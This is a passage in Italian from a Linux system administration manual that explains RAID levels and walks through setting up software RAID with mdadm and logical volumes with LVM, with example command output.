Il RAID può essere implementato sia tramite hardware dedicato (moduli RAID integrati in schede con controllori SCSI o SATA) sia tramite astrazione software (il kernel). Che sia hardware o software, un sistema RAID con sufficiente ridondanza può rimanere operativo in modo trasparente quando un disco si guasta; gli strati superiori della pila (applicazioni) possono perfino continuare ad accedere ai dati nonostante il guasto. Ovviamente questa "modalità degradata" può avere un impatto sulle prestazioni e inoltre viene ridotta la ridondanza, quindi un ulteriore guasto di un disco può provocare perdita di dati. In pratica, perciò, si cerca di rimanere in questa modalità degradata solo per il tempo necessario a sostituire il disco guasto. Una volta che il nuovo disco è al suo posto, il sistema RAID può ricostruire i dati richiesti e così tornare in modalità sicura. Le applicazioni non si accorgeranno di alcunché, a parte per la velocità di accesso potenzialmente ridotta, mentre l'array è in modalità degradata o durante la fase di ricostruzione.

Quando il RAID è implementato via hardware, la sua configurazione avviene generalmente all'interno dello strumento di configurazione del BIOS, ed il kernel considererà l'array RAID come un disco singolo, che funzionerà come un tradizionale disco singolo, anche il nome del dispositivo potrebbe essere differente (a seconda del driver).

In questo libro ci focalizzeremo sul RAID software.

12.1.1.1. Diversi livelli di RAID

Il RAID non è effettivamente un singolo sistema, ma una serie di sistemi identificati dai rispettivi livelli; che si distinguono per la loro disposizione e la quantità di ridondanza che forniscono. Più è ridondante, più è a prova di guasti, dal momento che il sistema sarà in grado di continuare a funzionare con più dischi rotti. Il rovescio della medaglia è che lo spazio utilizzabile diminuisce per un dato insieme di dischi; visto in un altro modo, servono più dischi per memorizzare la stessa quantità di dati.

RAID lineare

Anche se il sottosistema del kernel permette di creare un "RAID lineare", questo non è un RAID vero e proprio, poiché questa configurazione non prevede alcuna ridondanza. Il kernel semplicemente aggrega diversi dischi in fila e mette a disposizione il volume aggregato che ne risulta come un unico disco virtuale (un unico device a blocchi). Questa è praticamente la sua unica funzione. Questa configurazione è raramente usata da sola (vedere più avanti per le eccezioni), soprattutto in quanto la mancanza di ridondanza implica che basta un guasto a un singolo disco per rendere l'intero aggregato, e dunque tutti i dati, indisponibile.

RAID-0

Anche questo livello non fornisce alcuna ridondanza, ma i dischi non sono semplicemente messi in fila uno dietro l'altro: sono divisi in strisce e i blocchi sul device virtuale sono memorizzati su strisce su dischi fisici alternati. In un'impostazione RAID-0 a due dischi, per esempio, i blocchi di numero pari del device virtuale saranno memorizzati sul primo disco fisico, mentre i blocchi di numero dispari finiranno sul secondo disco fisico.

Questo sistema non mira ad aumentare l'affidabilità, in quanto (come nel caso del lineare) la disponibilità di tutti i dati è a rischio non appena un disco si guasta, ma ad aumentare le prestazioni: durante l'accesso sequenziale a grandi quantità di dati contigui, il kernel potrà leggere da entrambi i dischi (o scrivere su di essi) in parallelo, il che aumenta la velocità di trasferimento dei dati. I dischi vengono utilizzati interamente dal dispositivo RAID, quindi dovrebbero avere le stesse dimensioni per non avere perdita di prestazioni.

L'uso del RAID-0 sta diminuendo a favore di LVM (vedere più avanti).

RAID-1

Questo livello, noto anche come "RAID mirroring", è la configurazione più semplice e più usata. Nella sua forma standard, usa due dischi fisici della stessa grandezza e fornisce un volume logico anch'esso della stessa grandezza. I dati sono memorizzati in modo identico su entrambi i dischi, da cui il soprannome "mirror". Quando un disco si guasta, i dati sono ancora disponibili sull'altro. Per dati veramente critici, il RAID-1 può ovviamente essere impostato su più di due dischi, il che ha delle conseguenze sul rapporto fra costo dell'hardware e spazio disponibile.

NOTA Dischi e grandezze dei cluster

Se due dischi di dimensioni diverse vengono usati in mirror, il più grande non sarà usato completamente, in quanto conterrà gli stessi dati del più piccolo e nulla più. Lo spazio utile disponibile fornito da un volume RAID-1 perciò coincide con la dimensione del disco più piccolo nell'array. Ciò vale anche per volumi RAID con un diverso livello di RAID, anche se la ridondanza viene memorizzata diversamente.

È quindi importante, quando si configurano gli array RAID (eccetto il RAID-0 e il "RAID lineare"), assemblare solo dischi di dimensioni identiche, o molto vicine fra loro, per evitare di sprecare risorse.

NOTA Dischi di riserva

I livelli RAID che includono la ridondanza permettono di assegnare più dischi del necessario a un array. I dischi in più sono usati come riserva quando uno dei dischi principali si guasta. Per esempio, in un mirror di due dischi più una riserva, se uno dei primi due dischi si guasta, il kernel ricostruirà automaticamente (e immediatamente) il mirror usando il disco di riserva, cosicché la ridondanza resta assicurata dopo il tempo necessario alla ricostruzione. Ciò può essere usato come un'altra forma di salvaguardia per dati critici.

Ci si può legittimamente chiedere perché questo sarebbe meglio di un semplice mirror su tre dischi. Il vantaggio della configurazione col disco di riserva è che il disco di riserva può essere condiviso fra più volumi RAID. Ad esempio, si possono avere tre volumi in mirror, con ridondanza assicurata anche in caso di guasto di un disco, con soli sette dischi (tre coppie più una riserva condivisa) invece dei nove dischi che servirebbero per formare tre terne.

Questo livello di RAID, sebbene costoso (dal momento che al massimo è disponibile metà dello spazio fisico dei dischi), è ampiamente usato in pratica. È semplice da capire e permette di fare dei backup in modo molto semplice: dal momento che entrambi i dischi hanno gli stessi contenuti, uno di essi può essere temporaneamente estratto senza conseguenze sul sistema in funzione. Inoltre, spesso le prestazioni in lettura aumentano in quanto il kernel può leggere metà dati da ciascun disco in parallelo, mentre le prestazioni in scrittura non ne risentono troppo. Nel caso di un array RAID-1 di N dischi, i dati restano disponibili anche in caso si guastino N-1 dischi.

ATTENZIONE Il RAID non è un backup

I sistemi RAID non sono meccanismi di backup. Benché i RAID aumentano la ridondanza - e quindi la disponibilità di un sistema - e proteggono contro i guasti dei dischi, i backup sono fatti per proteggere i dati dall'essere alterati, cancellati, corrotti, ecc. e per essere in grado di ripristinarli se necessario. Come dimostrazione di questo fatto: se si rimuovono accidentalmente uno o tutti i file, un RAID farà il mirror di questa modifica, ma non fornirà nessun mezzo per ripristinare il(i) file. Quindi, anche se c'è chiaramente una sovrapposizione, non sono la stessa cosa e dovrebbero essere utilizzati insieme.

RAID-4

Questo livello di RAID, non molto usato, usa N dischi per memorizzare dati utili e un disco in più per memorizzare le informazioni di ridondanza. Se quel disco si guasta, il sistema può ricostruire i suoi contenuti a partire dagli altri N. Se uno degli N dischi con i dati si guasta, i rimanenti N-1 insieme al disco di "parità" contengono abbastanza informazioni per ricostruire i dati richiesti.

Il RAID-4 non è eccessivamente costoso, dal momento che richiede un aumento dei costi di appena uno-su-N e non ha un impatto notevole sulle prestazioni in lettura, ma le scritture ne risultano rallentate. Inoltre, dal momento che la scrittura su uno qualunque degli N dischi richiede anche una scrittura sul disco di parità, quest'ultimo riceve molte più scritture del primo e di conseguenza la sua vita può ridursi notevolmente. I dati su un array RAID-4 sono sicuri solo fino alla rottura di un solo disco (degli N+1).

RAID-5

Il RAID-5 risolve il problema di asimmetria del RAID-4: i blocchi di parità sono distribuiti su tutti gli N+1 dischi, senza che un unico disco abbia un ruolo particolare.

Le prestazioni in lettura e scrittura sono identiche al RAID-4. Anche qui il sistema rimane in funzione fino al guasto di un unico disco (degli N+1).

RAID-6

Il RAID-6 si può considerare un'estensione del RAID-5, in cui ciascuna serie di N blocchi richiede due blocchi di ridondanza e ciascuna di queste serie di N+2 blocchi viene distribuita su N+2 dischi.

Questo livello di RAID è leggermente più costoso dei due precedenti, ma fornisce un po' di sicurezza in più, dal momento che possono guastarsi fino a due dischi (degli N+2) senza compromettere la disponibilità dei dati. Il difetto è che le operazioni di scrittura ora richiedono la scrittura di un blocco di dati e due blocchi di ridondanza, il che le rende ancora più lente.

RAID-1+0

Tecnicamente parlando, questo non è un livello di RAID, ma un modo di impilare due gruppi di RAID. Partendo da 2×N dischi, prima si impostano a coppie in N volumi RAID-1; poi, questi N volumi, vengono aggregati in uno solo, tramite "RAID lineare" o (sempre più spesso) tramite LVM. In quest'ultimo caso si va oltre il semplice RAID, ma questo non è un problema.

Il RAID-1+0 può sopravvivere al guasto di più dischi: fino a N nell'array 2×n descritto sopra, a condizione che almeno un disco continui a funzionare in ciascuna coppia RAID-1.

APPROFONDIMENTO RAID-10

Il RAID-10 viene generalmente considerato un sinonimo di RAID-1+0, ma una particolarità di Linux lo rende in realtà una generalizzazione. Questa configurazione permette di avere un sistema in cui ogni blocco è memorizzato su due dischi diversi, anche con un numero dispari di dischi; le copie vengono poi distribuite secondo un modello configurabile.

Le prestazioni varieranno a seconda del modello di ripartizione e dal livello di ridondanza scelti e dal carico di lavoro del volume logico.

Ovviamente, il livello di RAID verrà scelto a seconda dei vincoli e dei requisiti di ciascuna applicazione. Notare che un solo computer può avere diversi array RAID distinti con diverse configurazioni.

12.1.1.2. Impostazione di un RAID

L'impostazione di volumi RAID richiede il pacchetto mdadm; esso fornisce il comando mdadm, che permette di creare e manipolare array RAID, oltre che script e strumenti per integrarlo al resto del sistema, compreso il sistema di monitoraggio.

Questo esempio mostrerà un server con un certo numero di dischi, alcuni dei quali sono già usati e i rimanenti sono disponibili per impostare il RAID. All'inizio si hanno i seguenti dischi e partizioni:

il disco sdb, 4 GB, è interamente disponibile;

il disco sdc, 4 GB, è anch'esso interamente disponibile;

sul disco sdd, solo la partizione sdd2 (circa 4 GB) è disponibile;

infine, un disco sde, di nuovo di 4 GB, interamente disponibile.

NOTA: identificazione dei volumi RAID esistenti

Il file /proc/mdstat elenca i volumi già esistenti e i loro stati. Quando si crea un nuovo volume RAID, bisogna fare attenzione a non dargli lo stesso nome di un volume esistente.

Questi elementi fisici verranno usati per costruire due volumi, un RAID-0 e un mirror (RAID-1). Si inizia col volume RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Feb 28 01:54:24 2022 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 01:54:24 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : -unknown- Chunk Size : 512K Consistency Policy : none Name : debian:0 (local to host debian) UUID : a75ac628:b384c441:157137ac:c04cd98c Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sdb 1 8 16 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.8G 24K 7.4G 1% /srv/raid-0

Il comando mdadm --create richiede diversi parametri: il nome del volume da creare (/dev/md*, dove MD sta per Multiple Device), il livello di RAID, il numero di dischi (obbligatorio nonostante abbia significato perlopiù solo con RAID-1 e superiori), ed i dischi fisici da usare. Una volta che il dispositivo è creato, può essere usato come una normale partizione, ci si crea sopra un file system, lo si monta, e così via. Notare che la creazione di un volume RAID-0 su md0 è solo una coincidenza, non è necessario che la numerazione dell'array sia legata alla quantità di ridondanza scelta. È anche possibile creare un array RAID, passando a mdadm parametri come /dev/md/linear invece di /dev/md0.

La creazione di un RAID-1 segue un percorso simile, la differenza si nota solo dopo la creazione:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:08:09 2022 State : clean, resync Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Rebuild Status : 13% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 17 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 1 8 48 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

SUGGERIMENTO RAID, dischi e partizioni

Come si è visto nell'esempio, i device RAID possono essere costruiti anche usando delle partizioni e non richiedono interi dischi.

Bisogna fare alcune osservazioni. Prima di tutto, mdadm si accorge che gli elementi fisici hanno dimensioni diverse; poiché ciò implica che verrà perso dello spazio sull'elemento più grande, è richiesta una conferma.

Cosa ancora più importante, notare lo stato del mirror. Lo stato normale di un RAID mirror è che entrambi i dischi abbiano esattamente lo stesso contenuto. Tuttavia, nulla garantisce che ciò sia vero quando il volume viene creato. Pertanto, il sottosistema RAID stesso fornirà questa garanzia effettuando una sincronizzazione appena dopo la creazione del RAID. Dopo un certo tempo (l'esatta durata dipenderà dall'effettiva dimensione dei dischi…), il RAID passa allo stato "attivo" o "pulito". Notare che durante questa fase di ricostruzione, il mirror è in modalità degradata e la ridondanza non è assicurata. Durante questa fase, il guasto ad un disco potrebbe comportare la perdita di tutti i dati. Tuttavia, raramente grandi quantità di dati critici vengano memorizzati su un RAID appena creato prima della sincronizzazione iniziale. Notare che anche in modalità degradata, /dev/md1 è utilizzabile e su di esso è possibile creare un file system e copiare dati.

SUGGERIMENTO Avviare un mirror in modalità degradata

A volte non si hanno subito a disposizione due dischi quando si vuole avviare un mirror RAID-1, per esempio perché uno dei dischi che si vogliono includere è già usato per memorizzare i dati che si vogliono spostare nell'array. In questi casi è possibile creare volontariamente un array RAID-1 degradato passando missing invece di un file di device come uno degli argomenti a mdadm. Una volta che i dati sono stati copiati sul "mirror", il vecchio disco può essere aggiunto all'array. A quel punto avrà luogo una sincronizzazione, che darà la ridondanza voluta all'inizio.

SUGGERIMENTO Impostare un mirror senza sincronizzazione

I volumi RAID-1 sono spesso creati per essere usati come nuovo disco, spesso considerato vuoto. L'effettivo contenuto iniziale del disco quindi non è molto importante, visto che basta sapere che i dati scritti dopo la creazione del volume, in particolare il file system, possono essere letti in seguito.

Ci si può quindi chiedere il senso di sincronizzare entrambi i dischi al momento della creazione. Perché preoccuparsi del fatto che i contenuti siano identici in zone del volume di cui si sa che verranno lette solo dopo che sono state scritte?

Per fortuna, questa fase di sincronizzazione può essere evitata passando l'opzione --assume-clean a mdadm. Tuttavia, questa opzione può portare a delle sorprese in casi in cui i dati iniziali saranno letti (per esempio se sui dischi fisici è già presente un file system), che è il motivo per cui non è abilitata in modo predefinito.

Ora si mostrerà cosa succede quando uno degli elementi dell'array RAID 1 si guasta. mdadm, in particolare la sua opzione --fail, permette di simulare uno guasto:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:15:34 2022 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 19 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 - 0 0 1 removed 1 8 48 - faulty /dev/sde

I contenuti del volume sono ancora accessibili (e, se montato, le applicazioni non si accorgono di nulla), ma la sicurezza dei dati non è più assicurata: se il disco sdd dovesse a sua volta guastarsi, i dati andrebbero persi. Poiché è meglio evitare questo rischio, si va a sostituire il disco guasto con uno nuovo, sdf:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 47% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 39 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 spare rebuilding /dev/sdf 1 8 48 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 41 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf 1 8 48 - faulty /dev/sde

Anche qui, il kernel attiva automaticamente una fase di ricostruzione durante la quale il volume, sebbene ancora accessibile, è in modalità degradata. Una volta finita la ricostruzione, l'array RAID torna a uno stato normale. A questo punto si può dire al sistema che il disco sde sta per essere rimosso dall'array, così da arrivare a un classico mirror RAID su due dischi:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf

Da questo punto il drive può essere rimosso fisicamente al prossimo spegnimento del server, o anche rimosso a caldo quando la configurazione hardware permette l'hot-swap. Tali configurazioni includono alcuni controller SCSI, la maggior parte dei dischi SATA e i dischi esterni che operano su USB o Firewire.

12.1.1.3. Fare il backup della configurazione

La maggior parte dei meta-dati riguardanti i volumi RAID sono salvati direttamente sui dischi che compongono questi array, cosicché il kernel può rilevare gli array e i loro componenti e assemblarli automaticamente all'avvio del sistema. Tuttavia, è consigliabile fare copie di riserva di questa configurazione, perché questo rilevamento non è a prova d'errore, ed è ovvio che fallisca proprio in circostanze delicate. Nell'esempio in questione, se il guasto al disco sdh fosse stato reale (invece di essere solo una simulazione) e il sistema si fosse riavviato senza rimuovere questo disco sdh, questo disco si sarebbe attivato di nuovo, essendo stato riconosciuto durante il riavvio. A quel punto il kernel avrebbe tre elementi fisici, ciascuno dei quali direbbe di contenere metà dello stesso volume RAID. In realtà questo porta il RAID a partire alternativamente dai singoli dischi, distribuendo i dati anche in modo alternato, a seconda di quale disco ha avviato il RAID in modalità degradata. Un'altra fonte di confusione può sorgere quando volumi RAID di due server vengono consolidati su un solo server. Se questi array stavano funzionando normalmente prima che i dischi fossero spostati, il kernel sarebbe in grado di rilevare e riassemblare le coppie correttamente; ma se i dischi spostati sono stati aggregati in un md1 sul vecchio server e il nuovo server ha già un md1, uno dei mirror verrebbe rinominato.

È quindi importante fare il backup della configurazione, se non altro per avere un riferimento. Il modo standard di farlo è modificare il file /etc/mdadm/mdadm.conf, un esempio del quale è mostrato qui:

Esempio 12.1. File di configurazione di mdadm

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1 # This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

Uno dei dettagli più utili è l'opzione DEVICE, che elenca i dispositi in cui il sistema cercherà automaticamente le componenti dei volumi RAID all'avvio. Nell'esempio in questione, abbiamo sostituito il valore predefinito, partitions containers, con una lista esplicita dei file di dispositi, poiché si è scelto di usare dei dischi interi e non solo delle partizioni, per alcuni volumi.

Le ultime due righe nell'esempio sono quelle che permettono al kernel di scegliere in sicurezza quale numero di volume assegnare a ciascun array. I metadati memorizzati sui dischi stessi sono sufficienti a riassemblare i volumi ma non a determinare i numeri di volume (e il corrispondente nome di device /dev/md*).

Per fortuna, queste righe si possono generare automaticamente:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

I contenuti di queste ultime due righe non dipendono dall'elenco dei dischi inclusi nel volume. Pertanto non è necessario rigenerare queste righe quando si sostituisce un disco guasto con uno nuovo. D'altro canto, bisogna avere cura di aggiornare il file quando si crea o si elimina un array RAID.

12.1.2. LVM

LVM, il Logical Volume Manager (Gestore Volume Logico) , è un altro approccio per astrarre volumi logici dai loro supporti fisici, che si concentra più sull'aumento della flessibilità che sull'aumento dell'affidabilità. LVM permette la modifica di un volume logico in modo trasparente dal punto di vista delle applicazioni; per esempio, è possibile aggiungere nuovi dischi, migrare i dati ad esso, e rimuovere i vecchi dischi, senza smontare il volume.

12.1.2.1. Concetti relativi a LVM

Questa flessibilità si raggiunge tramite un livello di astrazione che riguarda tre concetti.

Primo, il PV (Physical Volume, volume fisico) è l'entità più vicina all'hardware: i volumi fisici possono essere partizioni di un disco, o un disco completo, o anche qualunque altro dispositivo a blocchi (incluso, ad esempio, un array RAID). Notare che quando un elemento fisico viene configurato come PV per LVM, vi si deve accedere solo via LVM, altrimenti il sistema si confonderà.

Un certo numero di PV può essere raggruppato in un VG (Volume Group), che è paragonabile a dischi che sono virtuali ed estendibili. I VG sono astratti e non compaiono come device nella gerarchia /dev, quindi non c'è rischio di usarli direttamente.

Il terzo tipo di oggetto è il LV (Logical Volume), che parte di un VG; proseguendo con l'analogia fra VG e dischi, il LV è simile a una partizione. Il LV appare come un dispositivo a blocchi con una voce in /dev e può essere usato come ogni altra partizione fisica (più di frequente, per ospitare un file system o spazio di swap).

La cosa importante è che la divisione di un VG in LV è completamente indipendente dai suoi componenti fisici (i PV). Un VG con un solo componente fisico (per esempio un disco) può essere diviso in una dozzina di volumi logici; allo stesso modo, un VG può usare diversi dischi fisici e apparire come un unico grande volume logico. L'unico vincolo, ovviamente, è che la dimensione totale allocata ai LV non può superare la capacità totale dei PV nel gruppo di volume.

Spesso comunque ha un senso avere una certa omogeneità fra le componenti fisiche di un VG, e suddividere i VG in volumi logici che avranno modelli d'uso simili. Per esempio, se l'hardware disponibile include dischi rapidi e dischi più lenti, quelli rapidi possono essere raggruppati in un VG e quelli più lenti in un altro; blocchi del primo possono quindi essere assegnati ad applicazioni che richiedono un accesso rapido ai dati, mentre il secondo sarà tenuto per compiti meno impegnativi.

In ogni caso, è bene tenere a mente che un LV non è particolarmente legato a un singolo PV. È possibile indicare dove sono fisicamente memorizzati i dati di un LV, ma questa possibilità non è richiesta per un uso quotidiano. Al contrario: quando l'insieme dei componenti fisici di un VG evolve, il luogo fisico di stoccaggio che corrisponde a un particolare LV può essere migrato da un disco a un altro (ovviamente rimanendo all'interno dei PV assegnati ai VG).

12.1.2.2. Impostazione di un LVM

Si seguirà ora, passo per passo, il processo di impostazione di un LVM per un tipico caso d'uso: semplificare una situazione complessa di memorizzazione dati. Una tale situazione di solito si ha dopo una lunga e intricata storia fatta di misure temporanee accumulatesi nel tempo. A scopo illustrativo, si considererà un server in cui le necessità di memorizzazione sono cambiate nel tempo, arrivando ad avere alla fine un labirinto di partizioni disponibili sparse fra diversi dischi usati parzialmente. In termini più concreti, sono disponibili le seguenti partizioni:

sul disco sdb, una partizione sdb2, 4 GB;

sul disco sdc, una partizione sdc3, 3 GB;

il disco sdd, 4 GB, è completamente disponibile;

sul disco sdf, una partizione sdf1, 4 GB e una partizione sdf2, 5 GB.

Inoltre, si suppone che i dischi sdb e sdf siano più veloci degli altri due.

Lo scopo è di impostare tre volumi logici per tre diverse applicazioni: un file server che richiede 5 GB di spazio disco, un database (1 GB) e un po' di spazio per i backup (12 GB). I primi due hanno bisogno di buone prestazioni, ma i backup sono meno critici in termini di velocità di accesso. Tutti questi vincoli impediscono di usare le partizioni così come sono; l'uso di LVM permette di astrarre dalla dimensione fisica dei dispositivi, cosicché l'unico limite è lo spazio totale disponibile.

Gli strumenti richiesti sono nel pacchetto lvm2 e nelle sue dipendenze. Una volta installati, impostare un LVM richiede tre passi, che corrispondono ai tre livelli di concetti.

Prima di tutto si preparano i volumi fisici usando pvcreate:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- 5.00g 5.00g

Finora tutto bene: notare che un PV può essere impostato su tutto un disco così come su singole partizioni. Come mostrato sopra, il comando pvdisplay elenca le PV esistenti, con due possibili formati di output.

Ora si assemblano questi elementi fisici in VG usando vgcreate. Solo le PV dei dischi più veloci saranno riunite in un VG vg_critical; l'altro VG, vg_normal, includerà anche gli elementi più lenti.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

Anche qui, i comandi sono piuttosto semplici (e vgdisplay propone due formati di output). Notare che è possibile usare due partizioni dello stesso disco fisico in due diversi VG. Notare inoltre che si è usato un prefisso vg_ per nominare i VG, ma non è altro che una convenzione.

Adesso ci sono due "dischi virtuali", della dimensione di circa 8 GB e 12 GB rispettivamente. Ora suddividiamoli in "partizioni virtuali" (LV). Ciò richiede l'uso del comando lvcreate ed una sintassi leggermente più complessa:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd LV Write Access read/write LV Creation host, time debian, 2022-03-01 00:17:46 +0100 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a----- 1.00g lv_files vg_critical -wi-a----- 5.00g lv_backups vg_normal -wi-a----- 11.98g

La creazione di volumi logici richiede due parametri che devono essere passati come opzioni al comando lvcreate. Il nome dei LV da creare viene specificato con l'opzione -n e la sua dimensione viene generalmente data usando l'opzione -L. Ovviamente bisogna anche dire al comando su quale VG operare, da cui l'ultimo parametro sulla riga di comando.

APPROFONDIMENTO Opzioni di lvcreate

Il comando lvcreate ha diverse opzioni per poter specificare i dettagli della creazione del LV.

Prima si descrive l'opzione -l, con cui si può specificare la dimensione del LV come numero di blocchi (invece delle unità "umane" usate sopra). Questi blocchi (chiamati PE, physical extents, estensioni fisiche, in termini LVM) sono unità contigue di spazio di memorizzazione e non possono essere divisi fra più LV. Quando si vuol definire lo spazio di memorizzazione con una certa precisione¸per esempio per usare tutto lo spazio disponibile, probabilmente è meglio usare l'opzione -l piuttosto che -L.

